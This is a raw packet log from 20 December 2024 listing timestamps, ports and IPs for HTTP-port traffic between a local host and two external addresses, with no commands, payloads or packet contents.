Dec 20, 2024 02:11:42.191607952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.191899061 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.192158937 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.192193985 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.192251921 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.194282055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.194375992 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.194448948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.194506884 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.194518089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.194551945 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.194571972 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.194597960 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.194740057 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.194850922 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.194907904 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.195677042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.195795059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.195863962 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.196190119 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.196466923 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.196532011 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.196820974 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.196856022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.196880102 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.196909904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.197997093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.198031902 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.198086023 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.199033976 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.199136019 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.199170113 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.199222088 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.199237108 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.199259996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.200018883 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.200324059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.200854063 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.200932980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.201481104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.201546907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.201656103 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.201790094 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.201973915 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.202646017 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.202711105 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.202713013 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.202820063 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.203841925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.203876019 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.203906059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.203938007 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.204699993 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.204977036 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.205043077 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.205107927 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.207398891 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.207463980 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.207468033 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.207895041 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.210052967 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.210177898 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.210249901 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.212749958 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.212898970 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.212954998 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.215403080 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.215486050 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.215547085 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.217957020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.218089104 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.218153000 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.220691919 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.220823050 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.220880985 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.223078966 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.223196983 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.223905087 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.225644112 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.225768089 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.225824118 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.228142023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.228288889 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.228342056 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.230775118 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.230846882 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.230910063 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.233340979 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.233423948 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.233479023 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.235887051 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.235940933 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.237879992 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.238184929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.238311052 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.240442991 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.240546942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.240767002 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.242866039 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.242923021 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.242978096 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.244216919 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.245177984 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.245666027 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.245729923 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.247492075 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.247622013 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.247720957 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.249808073 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.249924898 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.249995947 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.252104998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.252222061 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.252290010 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.254442930 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.254667997 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.254733086 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.256720066 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.256858110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.256923914 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.259037018 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.259164095 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.259233952 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.261334896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.261465073 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.261523962 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.263618946 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.263747931 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.263828039 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.265993118 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.266047001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.266100883 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.268244982 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.268378019 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.268431902 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.270536900 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.270663023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.271986008 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.272849083 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.272902012 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.275193930 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.275258064 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.275521040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.276252031 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.277492046 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.277609110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.277662992 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.279781103 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.279891968 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.279959917 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.282087088 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.282154083 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.284158945 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.284415007 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.284519911 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.286757946 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.286825895 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.287035942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.287960052 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.289017916 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.289139986 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.289206028 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.291280985 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.291465998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.291528940 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.293678999 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.293746948 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.293809891 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.295980930 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.296050072 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.296112061 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.298238993 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.298362970 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.298429966 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.300534010 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.300731897 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.300790071 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.302834988 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.302947998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.303880930 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.305140018 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.305253983 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.305310965 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.307451010 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.307514906 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.307579994 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.309770107 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.309878111 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.309936047 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.312077045 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.312180996 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.312371016 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.314379930 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.314578056 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.316082001 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.316680908 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.316832066 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.316881895 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.319031000 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.319140911 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.319220066 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.321291924 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.321363926 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.321460009 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.323576927 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.334558010 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.334582090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.334660053 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.335012913 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.335104942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.335158110 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.335906982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.336009979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.336060047 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.337084055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.337131023 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.337177992 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.338252068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.338310957 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.338392019 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.339543104 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.339565992 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.339602947 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.339602947 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.340593100 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.340753078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.340806961 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.341749907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.341881037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.341932058 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.342919111 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.342967033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.343003035 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.344089985 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.344136953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.344199896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.344388962 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.345249891 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.345360041 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.345410109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.346431017 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.346621990 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.346678019 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.347655058 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.347703934 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.347759008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.348030090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.348808050 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.348942041 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.348995924 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.350024939 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.350080013 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.350147009 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.351145029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.351202011 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.351257086 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.352286100 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.352317095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.352406979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.352441072 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.352472067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.353526115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.353580952 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.353857994 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.353910923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.354660034 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.354708910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.354777098 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.354830027 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.355829000 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.355880022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.355911016 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.355954885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.356993914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.357141018 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.357198954 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.358217001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.358287096 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.358350039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.359294891 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.359349966 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.359436035 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.360354900 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.360502958 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.360552073 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.360591888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.360639095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.361639977 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.361696005 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.361699104 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.362802982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.362859011 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.362874031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.363955021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.364006996 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.364052057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.365149975 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.365189075 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.365210056 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.365233898 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.366312981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.366421938 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.366477966 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.367042065 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.367470026 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.367609024 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.367662907 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.368643999 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.368748903 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.368799925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.369818926 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.369878054 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.369951963 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.370978117 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.371033907 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.371121883 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.371936083 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.372152090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.372260094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.372329950 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.373303890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.373358965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.373421907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.373950958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.374469042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.374525070 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.374588013 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.375659943 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.375783920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.375838995 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.376820087 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.376918077 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.376971006 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.377991915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.378046989 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.378186941 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.379162073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.379215002 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.379302979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.380295992 CET	49917	80	192.168.2.5	31.41.244.11
